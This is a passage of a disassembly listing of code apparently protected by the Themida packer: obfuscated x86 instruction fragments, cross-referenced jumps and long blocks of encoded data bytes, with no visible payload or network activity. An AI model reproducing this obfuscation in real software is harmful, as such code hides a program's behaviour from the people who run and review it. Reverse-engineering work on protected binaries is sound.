dd 4, 5C240487h, 6871B450h, 7076h, 0B1240C89h, 80C9FEE9h
dd 6DE9A2E9h, 0BAFFFFF9h, 582F5398h, 2475E953h, 0D1590000h
dd 0A792E9EBh, 815E0000h, 4C4h, 0BA95E900h, 0C14F0000h
dd 0DFF707E7h, 0A2DBE953h, 0BBE0000h, 31774852h, 0E1C15EF1h
dd 0D87CE906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568B5A: ; CODE XREF: Themida_:00566294j
add esp, 4
jmp loc_56BA6E
; ---------------------------------------------------------------------------
db 42h, 81h, 0ECh
dd 4, 0B8240489h, 1B600935h, 0FFA64FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_568B79: ; CODE XREF: Themida_:0056FC44j
push eax
push edx
mov dh, 7Ah
mov ah, 0Bh
sub ah, 0BCh
add ah, dh
add ah, 0BCh
pop edx
add ah, 7
xor bh, ah
jmp loc_56EB3A
; ---------------------------------------------------------------------------
dw 489h
dd 7D03B824h, 43E95391h, 66FFFFD9h, 0DBF2E953h, 0D6F70000h
dd 0E781F787h, 608C723Dh, 0CF81D7F7h, 6E5C5A8Dh, 29CBF781h
dd 0BB5337C3h, 674C5FDFh, 2850E381h, 0E3C10880h, 9FEB8104h
dd 8160E53Bh, 0E4EA98F3h, 5BDF2931h, 0BDE9FA29h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568BE3: ; CODE XREF: Themida_:00572126j
mov ebp, 39A7F4BCh
jmp loc_568F31
; ---------------------------------------------------------------------------
db 33h, 14h, 24h
dd 8480E9h
db 0
; ---------------------------------------------------------------------------
loc_568BF5: ; CODE XREF: Themida_:005755AAj
push 3F05h
mov [esp], eax
jmp loc_568597
; ---------------------------------------------------------------------------
loc_568C02: ; CODE XREF: Themida_:0056718Ej
pop ebx
shr edx, 5
jmp loc_568D17
; ---------------------------------------------------------------------------
db 28h
dd 148B66D7h, 1D39E924h, 0C890000h, 0BE565324h, 304C531Ah
dd 0F65191BBh, 5EF33139h, 0D61728B9h, 68C1813Bh, 0E97DED11h
dd 5BA9h, 50585950h, 0CA502568h, 0DF2D586Dh, 89112E8Bh
dd 0C1F8E9C5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_568C4E: ; CODE XREF: Themida_:0056E6AEj
add ebp, 3B2C2FA7h
shr ebp, 7
not ebp
sub ebp, 7E9DA37Ch
jmp loc_563F05
; ---------------------------------------------------------------------------
dd 0FFFFFF68h, 24048BFFh, 2904C483h, 0C7E958C7h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568C77: ; CODE XREF: Themida_:00565952j
sub edi, 60C2531Ah
push ecx
mov ecx, edi
mov esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_562ACC
; ---------------------------------------------------------------------------
loc_568C91: ; CODE XREF: Themida_:00561367j
mov ebp, [esp]
sub esp, 4
mov [esp], eax
jmp loc_576381
; ---------------------------------------------------------------------------
db 81h
dd 0AE444CEFh, 0BB53580Bh, 3ED03175h, 1D38E381h, 81431B77h
dd 0BEB293EBh, 5BDF29BFh, 592AE9h, 240C3100h, 8B240C33h
dd 0E9F62424h, 0CCB60F66h, 916866h, 240C8966h, 0C8B60F66h
dd 0E99C5166h, 0FFFF835Eh, 4C5DBB53h, 0B9515551h, 0B23437Ch
dd 0E906E9C1h, 35Ah
; ---------------------------------------------------------------------------
loc_568CF8: ; CODE XREF: Themida_:00575CC3j
mov ebx, [esp]
jmp loc_565596
; ---------------------------------------------------------------------------
aI4Hm db '\‰4$hŒ~',0
dd 4EC3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_568D0E: ; CODE XREF: Themida_:005665F1j
xchg ebp, [esp]
pop esp
jmp loc_563BC0
; ---------------------------------------------------------------------------
loc_568D17: ; CODE XREF: Themida_:00568C06j
push ebp
mov ebp, 460603B8h
add edx, ebp
pop ebp
push edx
jmp loc_56114E
; ---------------------------------------------------------------------------
aT_h db 'T_h',8,'~',0
dd 241C8900h, 0E51D56BBh, 0AEC38176h, 1891AE2h, 5C7AE9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_568D42: ; CODE XREF: Themida_:0056248Aj
pop esp
sub [edi+24h], ebp
push dword ptr [esp]
pop ebp
add esp, 4
loc_568D4D: ; CODE XREF: Themida_:00575D00j
push ebp
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_5766CB
; ---------------------------------------------------------------------------
loc_568D5A: ; CODE XREF: Themida_:00576581j
sub esi, edx
jmp loc_568FDB
; ---------------------------------------------------------------------------
loc_568D61: ; CODE XREF: Themida_:0056AEF0j
sub [esp], eax
jmp loc_574C4E
; ---------------------------------------------------------------------------
db 59h, 53h, 0BBh
dd 6EB7EC6h, 44E7E381h, 0F3811A18h, 1CBB164Ah, 4B08E3C1h
dd 0C0E9D3F7h, 5100003Eh, 4BD55h, 0E9890000h, 168FE9h
db 0
; ---------------------------------------------------------------------------
loc_568D95: ; CODE XREF: Themida_:00565BDEj
pop ecx
push edi
sub dword ptr [esp], 3664897h
mov eax, [esp]
add esp, 4
jmp loc_571A59
; ---------------------------------------------------------------------------
dd 2C1668h, 240C8900h, 0EE68E189h, 8900005Bh, 1868242Ch
dd 89000047h, 62E92404h, 6600007Bh, 1FE9C331h, 560000ABh
dd 4BEh, 5EF32900h, 5C241C87h, 0BB241C89h, 2, 515BD901h
dd 42474FFh, 83240C8Bh, 0FE904C4h
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568DFB: ; CODE XREF: Themida_:00575A0Bj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_574689
; ---------------------------------------------------------------------------
a_bsYSt db '_é]',1Bh,'Y-éâ',0Bh,0
align 4
dd 0E906EBC1h, 0FFFFD300h
; ---------------------------------------------------------------------------
loc_568E24: ; CODE XREF: Themida_:005671AFj
pop edx
jmp loc_572DD9
; ---------------------------------------------------------------------------
dw 0C329h
dd 1B93EB81h, 315804A8h, 0EB015BDDh, 52242C8Bh, 0C281E289h
dd 4, 4C281h, 14870000h, 0C3815C24h, 2, 31241C33h, 1C33241Ch
dd 0F3E95C24h, 58000058h, 51A968h, 24048900h, 24048B54h
dd 4C481h, 0EC830000h, 243C8904h, 93E5E950h, 3C8BFFFFh
dd 15F6E924h, 0E9500000h, 556h, 8159CF09h, 0A8B08FF7h
dd 8BFE015Eh, 0C481243Ch, 4, 5296BF57h, 0B9510952h, 0
dd 0CD0EE9h, 7E28100h, 5332081Ah, 1172CEBBh, 0E2EB8177h
dd 17D0B22h, 0C1815BDAh, 7A861E20h, 0E957D101h, 0DADBh
dd 4C481h, 0C1810000h, 4, 8B240C87h, 53E92424h, 5FFFF81h
dd 4, 22Dh, 24043300h, 33240431h, 8FE92404h, 8100009Bh
dd 7502D1C5h, 7EDC13Eh, 0FFF37CE9h, 24048FFFh, 2414895Ch
dd 0FF8121E9h, 4C483FFh, 0D051E9h, 3EC78000h, 8E43E9h
db 0
; ---------------------------------------------------------------------------
loc_568F31: ; CODE XREF: Themida_:00568BE8j
push edi
mov edi, 4C51328Eh
sub edi, 3AF06148h
dec edi
or edi, 0F895953h
add edi, 200F74F3h
shl edi, 7
add edi, 5D2DD6Eh
jmp loc_571C8C
; ---------------------------------------------------------------------------
dd 4BB53h, 7BE90000h, 0B3000081h, 80DBF6DAh, 0F380A3E3h
dd 6AF38005h, 41F380h, 0BF5CE9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_568F7A: ; CODE XREF: Themida_:00562C35j
push 59B1h
jmp loc_5664FD
; ---------------------------------------------------------------------------
loc_568F84: ; CODE XREF: Themida_:0056206Dj
mov ecx, 71F14037h
jmp loc_5627CE
; ---------------------------------------------------------------------------
dw 8CBAh
dd 516BAF46h, 0CB02E9h, 24248900h, 4240483h, 3DA2E9h, 0FB76800h
dd 4890000h, 7E9B6824h, 31583FFFh, 72E958C1h, 6600003Bh
dd 7FE9028Fh, 58FFFF80h, 34D6BF57h, 0FB297A9Bh, 240C8B5Fh
dd 4C481h, 21E90000h
db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_568FDB: ; CODE XREF: Themida_:00568D5Cj
pop edx
xchg esi, [esp]
pop esp
mov [esp], edx
jmp loc_568949
; ---------------------------------------------------------------------------
dd 1C46EA81h, 0B68C8C5h, 89000012h, 0E9502434h, 8DA0h
dd 0E9D7015Dh, 0FFFFD03Fh, 697BBF57h, 0B951619Fh, 5221101h
dd 2A61E181h, 0E9C15527h, 0CEBCE907h, 0E3890000h, 0AFC0E9h
dd 806DB400h, 0B5515EE4h, 1C580B1h, 74ED80h, 0EC8059ECh
dd 673FE9FFh, 0BF5E0000h, 282D6274h, 815EF731h, 9F1D78EFh
dd 7A71E901h, 0C9810000h, 53E4291Bh, 0F181D1F7h, 0E50505CFh
dd 7EF6E9h
db 0
; ---------------------------------------------------------------------------
loc_569065: ; CODE XREF: Themida_:00568149j
mov eax, 4
jmp loc_5769C7
; ---------------------------------------------------------------------------
db 1
aSo db 'ÖéOÎ',0
align 2
dw 0D7F6h
dd 0F8885066h, 0C5E9D0F6h, 28FFFFB2h, 0C892E9F7h, 50560000h
dd 0AC94E9h, 85ABA00h, 0E953064Bh, 0D0D1h, 240C8B66h, 4EC81h
dd 66E90000h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5690AB: ; CODE XREF: Themida_:005716D5j
add [esp+4], edx
pop edx
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
jmp loc_57338F
; ---------------------------------------------------------------------------
db 81h, 0E9h, 77h
dd 81352862h, 4F586AC1h, 0BB53585Bh, 4, 5D74C181h, 0D9013434h
dd 4EC81h, 34890000h, 476EE924h, 895C0000h, 0C6E9241Ch
db 78h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5690F3: ; CODE XREF: Themida_:00564EE6j
add ebp, 4
xchg ebp, [esp]
jmp loc_563F6C
; ---------------------------------------------------------------------------
loc_5690FE: ; CODE XREF: Themida_:00575F0Aj
push 24AEh
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_563ECD
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 6BBE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56912A: ; CODE XREF: Themida_:00563C94j
mov ebx, esp
jmp loc_5648EC
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0C0h
dd 0E912B75Bh, 4F2Eh
; ---------------------------------------------------------------------------
loc_56913C: ; CODE XREF: Themida_:00563AA8j
add ebp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_562CF2
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 1EAE9h, 4EC8100h, 89000000h, 0EDB82404h, 0F728A610h
dd 53E2E9D0h, 4D680000h, 89000002h, 0C9B82404h, 2902B179h
dd 0C0A3E9C1h, 34FFFFFFh, 0C4835A24h, 2434FF04h, 4C4815Fh
dd 50000000h, 0AEE9C889h, 5FFFFFB5h, 32ACE9h, 35C38100h
dd 52559636h, 1677AEBAh, 0DFF28118h, 8157B042h, 0A223EAC2h
dd 5AD3090Ah, 8108EBC1h, 0C568BDC3h, 16EB811Bh, 11C2432h
dd 14335BDAh, 24143124h, 0FFC7D2E9h, 3FE981FFh, 1F1B2BDh
dd 5412E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5691EE: ; CODE XREF: Themida_:0057248Dj
sub edx, 71A81Eh
jmp loc_563067
; ---------------------------------------------------------------------------
aZSQ db 'Z(Ãé¸q',0
dd 8BF32900h, 0C4832434h, 81D30104h, 564498C3h, 24148B2Fh
dd 4C481h, 0BF570000h, 2, 344AC381h, 27E95D80h, 81FFFF9Ah
dd 1201D7C2h, 81C22902h, 1201D7EAh, 9AE95802h, 0B8FFFFAAh
dd 4, 41E9C189h, 51FFFF94h, 0D1CCE9h, 78EA2D00h, 0F050F88h
dd 5D206227h, 2B53BF57h, 0E7C1625Fh, 815DE908h, 0E189FFFFh
dd 4C181h, 0C1830000h, 2C9FE904h, 0F2010000h, 3711C281h
dd 348B6DD5h, 4C48124h, 33000000h, 1BE92414h
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_569293: ; CODE XREF: Themida_:005743F4j
pop edx
push ecx
mov ecx, 52CAAFA5h
sub edx, ecx
pop ecx
push edx
add dword ptr [esp], 7A9C2D94h
pop edi
jmp loc_56774C
; ---------------------------------------------------------------------------
db 0C1h
dd 0BA5208E8h, 1C4C670Ch, 37EEE9h, 4C28100h, 0E9000000h
dd 0FFFF88A5h, 4EC8152h, 89000000h, 7AB42404h, 48BE688h
dd 4C48124h, 0B7000000h, 8BF730B7h, 0AE92414h, 800000C4h
dd 49E901EEh, 89000007h, 468243Ch, 5F000000h, 51D76852h
dd 7DE90000h, 0C10000A1h, 0C38106EBh, 0C4827DCh, 0BB2DBE56h
dd 0F329E2BFh, 5BD9295Eh, 5624F181h, 0E98174C0h, 44B8A3E8h
dd 0E959CF01h, 21B5h, 0EA2927BDh, 0E9EE2900h, 0FFFFC8D7h
; ---------------------------------------------------------------------------
loc_569338: ; CODE XREF: Themida_:0056FC3Cj
inc esi
not esi
add esi, 780771A3h
mov ebp, esi
pop esi
sub esi, ebp
jmp loc_56234A
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 24548A00h, 245C8802h, 0E95B6602h, 1E20h, 0B9240C89h
dd 5D7E0C84h, 81BDE9h, 3FC38100h, 2923AE29h, 3FEB81D3h
dd 5A23AE29h, 0FFA990E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_569381: ; CODE XREF: Themida_:00566613j
mov [esp], edx
mov dh, bh
mov cl, dh
pop edx
mov [edi+38h], cl
pop ecx
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5628D8
; ---------------------------------------------------------------------------
aSi_1 db '^éë;',0
align 10h
dd 4BAh, 5AD52900h, 8B242C87h, 14892424h, 0F6D7B624h, 0B15150D6h
dd 59C888E5h, 6214E9h, 51D0F700h, 0CBB4D1B9h, 59C829C2h
dd 6AF6E9h, 81D9F700h, 4ECh, 243C8900h, 0B36D3BBFh, 28D9E96Eh
dd 74B80000h, 0C106BD42h, 0AC2D08E8h, 29E2B46Bh, 24048BC3h
dd 4C481h, 0EB810000h, 3BAB4D81h, 0D6CE9h, 24048B00h, 0E904C483h
dd 0FFFFF28Bh, 5D1BBB53h, 0D90968EDh, 80E1815Bh, 0F72B9A44h
dd 85C181D1h, 812B8A44h, 974515EBh, 81CB015Fh, 974515C3h
dd 6C68595Fh, 89000066h, 0F8E92434h, 81000035h, 4ECh, 242C8900h
dd 1F568h, 44B26800h, 0EC830000h, 24248904h, 4240483h
dd 8324048Fh, 0E9042404h, 0CF4Dh, 5FFD015Dh, 339968h, 0B09DE900h
dd 5B58FFFFh, 0F0E95053h, 9000027h, 0F3815AD3h, 1588BE0Fh
dd 0C15BDD31h, 35E904E5h, 100009Fh, 0FA015DEAh, 56FAEA81h
dd 815F4369h, 4ECh, 0C5AAE900h, 0C89FFFFh, 4CC3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5694BA: ; CODE XREF: Themida_:0056969Fj
pop ecx
dec ecx
sub esp, 4
mov [esp], ebx
mov ebx, 788A0AE5h
sub ebx, 14C204F4h
sub ecx, ebx
jmp loc_5657C3
; ---------------------------------------------------------------------------
db 0B1h
dd 59CC0886h, 0F5B05053h, 2870E951h, 5AD0000h, 76165F44h
dd 2EA9BA52h, 0EA813A0Dh, 255F48F0h, 54BBF281h, 0BF57236Ah
dd 2BE62FD8h, 2414F757h, 81243C8Bh, 4C4h, 0C1D7F700h, 0EFC107EFh
dd 9FEF8108h, 0E9165D06h, 8098h, 0E93BB353h, 0FFFF9C1Ah
dd 0A0C4E95Ah, 4330000h, 0B06EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56953A: ; CODE XREF: Themida_:0056526Aj
shl edx, 6
and edx, 30850148h
shl edx, 5
sub edx, 108007FCh
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov bh, ah
mov dl, bh
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_561933
; ---------------------------------------------------------------------------
loc_56956E: ; CODE XREF: Themida_:00563707j
sub eax, 2E741DAFh
add eax, edx
sub esp, 4
jmp loc_56C2AF
; ---------------------------------------------------------------------------
db 5Bh, 56h, 0FFh
dd 8B042474h, 0C4812434h, 4, 8B24048Fh, 3C892424h, 876BF24h
dd 0E78119B6h, 254C7F0Bh, 8FE9DFF7h
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5695A7: ; CODE XREF: Themida_:00561A8Bj
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
shr eax, 10h
xor eax, ecx
jmp loc_571BC9
; ---------------------------------------------------------------------------
dd 0F500CFB5h, 6DED805Ah, 0C580C5FEh, 28802CEAh, 0B55166E8h
dd 4C8CE980h, 0F8280000h, 4EC81h, 14890000h, 0FE76B624h
dd 493E68C6h, 0C890000h, 9BB45024h, 88C5F480h, 0A32AE9E1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_569606: ; CODE XREF: Themida_:00564533j
push 4D654627h
jmp loc_5766D3
; ---------------------------------------------------------------------------
dd 5C241C33h, 0AC02E9h, 0E9F68100h, 296E0567h, 5A895EF3h
dd 241C8B30h, 0FFCE74E9h, 89F681FFh, 0E94DA5EAh, 0FFFFEA10h
dd 8758C301h, 248B241Ch, 0A0C38124h, 10AAD40h, 0A0EB81C3h
dd 520AAD40h, 0D77DB0BAh, 5AD32935h, 0E3E9008Fh, 0B9FFFF79h
dd 4, 34FFCE01h, 0C4815924h, 4, 80ACE9h
db 0
; ---------------------------------------------------------------------------
loc_569675: ; CODE XREF: Themida_:00572686j
not esi
inc esi
xor esi, 2AA458FAh
add esi, 7CA3680Fh
sub ebx, esi
pop esi
jmp loc_5717D8
; ---------------------------------------------------------------------------
loc_56968C: ; CODE XREF: Themida_:005669C8j
xor edi, 6142C160h
add edx, edi
jmp loc_569805
; ---------------------------------------------------------------------------
loc_569699: ; CODE XREF: Themida_:00569C70j
push ecx
push 7B5F5C94h
jmp loc_5694BA
; ---------------------------------------------------------------------------
dd 4C381h, 1C870000h, 5230E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5696B2: ; CODE XREF: Themida_:0056E8DDj
mov [esp], edx
push 1065h
jmp loc_56351F
; ---------------------------------------------------------------------------
aAiraiHie db '€ë€ëÄh©E',0
align 2
dw 0C89h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_566D0A
; ---------------------------------------------------------------------------
db 0E9h, 60h, 79h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5696E2: ; CODE XREF: Themida_:0056ED47j
push 4348h
mov [esp], esi
push ebx
jmp loc_562D7C
; ---------------------------------------------------------------------------
dd 0B5240C89h, 0ABEE80B2h, 0C680EE00h, 300459ABh, 302CF028h
dd 9340E9h, 4EC8100h, 89000000h, 1E9240Ch, 0FF00005Ah
dd 0FF042474h, 348B2434h, 4C48324h, 0E904C483h, 3C90h
dd 240C8B66h, 120F68h, 241C8900h, 16E368h, 48F5400h, 4EC8324h
dd 0FFFBA6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_569749: ; CODE XREF: Themida_:0056FFD2j
add ebx, esi
jmp loc_562989
; ---------------------------------------------------------------------------
loc_569750: ; CODE XREF: Themida_:005677F6j
pop esi
jmp loc_5673DD
; ---------------------------------------------------------------------------
dw 5F66h
dd 0FFF66EE9h, 240489FFh, 802BDBB8h, 17306859h, 0F8E90000h
dd 810000AAh, 4C4h, 5EF30100h, 9D12E9h, 87EB8100h, 0E9348075h
dd 0FFFFED1Ah, 5C240C87h, 1FF768h, 243C8900h, 0E52F0D68h
dd 2434FF6Ah, 4C4835Fh, 0E952DFF7h, 0FFFFF7E6h, 0E9242C33h
dd 0BA5Bh, 0E9240C8Bh, 0A923h, 0C8BCB01h, 4C48124h, 51000000h
dd 366118B9h, 0BCC98126h, 41024977h, 0E903E1C1h, 5251h
dd 0E0616866h, 240C8B66h, 1EA6E9h, 4EC8100h, 89000000h
dd 0E589242Ch, 4853E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5697F6: ; CODE XREF: Themida_:0057097Cj
shr eax, 3
add eax, 0E88EBA9Fh
sub ebx, eax
jmp loc_562DA4
; ---------------------------------------------------------------------------
loc_569805: ; CODE XREF: Themida_:00569694j
mov edi, [esp]
add esp, 4
and eax, edx
push dword ptr [esp]
jmp loc_56A6E3
; ---------------------------------------------------------------------------
dd 42474FFh, 24048F5Ah, 0C3E5E9h, 5BD80100h, 205h, 10E95000h
dd 80FFFFC2h, 9FE959EBh
db 7Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56983B: ; CODE XREF: Themida_:005765B1j
mov eax, edi
pop edi
shl eax, 2
push ebx
mov ebx, 3D3C6A61h
sub eax, ebx
pop ebx
or eax, 196A2B36h
inc eax
xor eax, 0E2D1D81Dh
add ebx, eax
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 37D72628h
jmp loc_575D67
; ---------------------------------------------------------------------------
loc_569868: ; CODE XREF: Themida_:0056C8DCj
xor edx, 1BB1E01h
sub eax, edx
pop edx
jmp loc_56E770
; ---------------------------------------------------------------------------
loc_569876: ; CODE XREF: Themida_:0056B3B1j
mov esi, 75F8470Ch
sub ebx, esi
pop esi
sub ebx, edx
push 5793h
mov [esp], eax
mov eax, 75F8470Ch
jmp loc_5642BA
; ---------------------------------------------------------------------------
loc_569892: ; CODE XREF: Themida_:005660BAj
sub ebx, 6C9A7924h
add ebx, esi
add ebx, 6C9A7924h
add ebx, 91F3E76h
mov esi, [esp]
add esp, 4
push edx
mov edx, 4
jmp loc_563F2F
; ---------------------------------------------------------------------------
loc_5698B7: ; CODE XREF: Themida_:0056B3E9j
push esi
mov esi, 1ED1254Ah
or esi, 1F445575h
and esi, 3C347F5h
shl esi, 8
and esi, 45E10671h
jmp loc_566A55
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24048900h, 0C89BE953h, 3C68FFFFh, 0E9000026h
dd 0FFFFE566h, 0A5E9DFF7h, 50000056h, 710475B8h, 58C68905h
dd 0B0ADE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_569906: ; CODE XREF: Themida_:0056DE6Aj
add esp, 4
jmp loc_56D391
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 242C8B54h, 0FFCC8BE9h, 24048BFFh, 8304C483h, 0C5E901C0h
dd 0FF0000B6h, 0B9E92434h, 89000062h, 81B5240Ch, 0F659E888h
dd 2CED04D0h, 29E951B7h, 2C000081h, 4F8007Ah, 7735E97Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_569952: ; CODE XREF: Themida_:0056740Bj
push 22101B66h
push dword ptr [esp]
pop ecx
add esp, 4
and ecx, 7DA71021h
push ebp
mov ebp, 23FA279Ch
jmp loc_564373
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835E24h, 0ABD5504h, 83491355h, 0E5C101C5h, 51ED8107h
dd 813CD92Bh, 4343D0F5h, 0FBF58143h, 0E90F9219h, 7ABFh
dd 4EA81h, 14870000h, 0F0D7E924h, 8F66FFFFh, 8FE98704h
dd 8BFFFF76h, 0C481241Ch, 4, 80E6F180h, 0C9FE45C1h, 0E980C1FEh
dd 59CE88F0h, 0E6C0D6F6h, 4EB75302h, 1C8BFE20h, 4C48324h
dd 71E9C6FEh, 81000047h, 12404h, 148B0000h, 4C48124h, 81000000h
dd 916220EAh, 23F6E902h, 0F1010000h, 0FF7885E9h, 0C68159FFh
dd 72BC642Fh, 0EE81C601h, 72BC642Fh, 8324048Bh, 685304C4h
dd 4295288Fh, 81241C8Bh, 4C4h, 75C38100h, 1BD6AD7h, 0E9565BDEh
dd 0FFFF8DDEh, 5144CE80h, 0C180DFB1h, 59CE0063h, 0FFF63AE9h
dd 5FF889FFh, 207368h, 240C8900h, 82E9C189h, 1FFFFDCh
dd 0B9515DEBh, 0E173767h, 8B59CB01h, 0C4832404h, 14716804h
dd 23E90000h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_569A77: ; CODE XREF: Themida_:0056548Ej
push 37AF7453h
pop ebp
or ebp, 1BE873EEh
push edi
mov edi, 34261640h
push ebp
mov ebp, 7D4360EAh
inc ebp
and ebp, 0A622FD5h
inc ebp
add ebp, 22BE2428h
shl ebp, 6
sub ebp, 7FCF173Ch
sub edi, ebp
pop ebp
shr edi, 6
xor edi, 0D2B2734Eh
jmp loc_5732F5
; ---------------------------------------------------------------------------
loc_569AB7: ; CODE XREF: Themida_:0056DE31j
shr ebx, 6
jmp loc_574E10
; ---------------------------------------------------------------------------
db 5Eh
dd 68240C8Bh, 4C13h, 89242C89h, 4B951E5h, 1000000h, 685059CDh
dd 4, 58C50158h, 2474FF55h, 48F5D04h, 24248B24h, 4EC81h
dd 1C890000h, 4BB24h, 0D9010000h, 2C1835Bh, 0E9240C33h
dd 0FFFFF1B9h, 33241C31h, 248B241Ch, 243CD324h, 7528E99Ch
dd 77FFFFFFh, 7520E940h, 1C33FFFFh, 88645C24h, 0A688E902h
dd 3C29FFFFh, 0CF815F24h, 6A7A7D11h, 0FDB9EF81h, 0C381FE7Ah
dd 340B41FCh, 0BA52FB01h, 340B41FCh, 21FBA52h, 0D32932A5h
dd 81D3295Ah, 0A5021FC3h, 815F5A32h, 2C3h, 241C3300h, 0E9241C31h
dd 0FFFFFFB2h, 81FFC583h, 0B5725EC5h, 0C1DDF730h, 895306E5h
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2434895Ch, 0FFB6A7E9h
dd 0D0F75FFFh, 39C33540h, 89350B64h, 0E962EE6Bh, 1DC1h
dd 10F6EB81h, 348B689Ch, 4C48124h, 0E9000000h, 0FFFF7482h
; ---------------------------------------------------------------------------
loc_569BC0: ; CODE XREF: Themida_:00566088j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_56E7C8
; ---------------------------------------------------------------------------
dw 8951h
dd 4C181E1h, 83000000h, 0C8704E9h, 9A23E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_569BE2: ; CODE XREF: Themida_:00575EAAj
pop ebx
and ecx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_56F777
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0ADh
dd 0C14CF55Ch, 0F9E905E5h, 290000C3h
db 0F0h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_56202E
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 88h
dd 89000002h, 78EBE9E1h, 0E95CFFFFh, 8B67h
; ---------------------------------------------------------------------------
loc_569C30: ; CODE XREF: Themida_:0056F82Cj
or eax, 147A44A0h
push esi
jmp loc_564F54
; ---------------------------------------------------------------------------
db 66h
dd 66CCB60Fh, 6620D068h, 0E9240C89h, 0FFFF79C3h
; ---------------------------------------------------------------------------
loc_569C4C: ; CODE XREF: Themida_:00568400j
push eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
push 207h
mov [esp], ebx
jmp loc_569699
; ---------------------------------------------------------------------------
align 2
dw 80CFh
dd 8059B0C7h, 0D7F601EFh, 2EC8152h, 0E9000000h, 0FFFFEDE8h
dd 0C530162Ch, 8324048Bh, 0EA3004C4h, 2DB2E9h
db 0
; ---------------------------------------------------------------------------
loc_569C9D: ; CODE XREF: Themida_:005755B2j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push eax
mov eax, 3DC5000Bh
neg eax
xor eax, 14AF56C9h
sub eax, 0D4F64E16h
shl eax, 5
or eax, 0DC07B57h
push 2B09h
mov [esp], eax
dec dword ptr [esp]
jmp loc_5667A9
; ---------------------------------------------------------------------------
loc_569CD0: ; CODE XREF: Themida_:0056B17Bj
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
and ecx, esi
mov esi, [esp]
jmp loc_566E46
; ---------------------------------------------------------------------------
dw 0E94Fh
dd 1A20h
; ---------------------------------------------------------------------------
loc_569CEC: ; CODE XREF: Themida_:005667A4j
add ecx, edx
pop edx
and eax, ecx
jmp loc_56AE6D
; ---------------------------------------------------------------------------
aHk_ db '[hK.',0
align 4
dd 0E9240C89h, 0FFFFFF1Fh, 4C481h, 68680000h, 89000037h
dd 0E3E92434h, 0F7000065h, 0DDE92414h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_569D1F: ; CODE XREF: Themida_:0056CBF3j
dec ebx
not ebx
inc ebx
sub ebx, 636F9D94h
mov edx, ebx
pop ebx
add [esp+8], edx
pop edx
pop ebp
jmp loc_563BB8
; ---------------------------------------------------------------------------
db 53h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 2C895C24h, 6B71BD24h
dd 8E93F7Fh, 5E0000C3h, 8B240C87h, 8B662424h, 0E9572404h
dd 0CB50h, 8B57E980h, 0C4812414h, 4, 88CE8852h, 0E9595AF7h
dd 0FFFFF7A4h
; ---------------------------------------------------------------------------
loc_569D80: ; CODE XREF: Themida_:005732F0j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
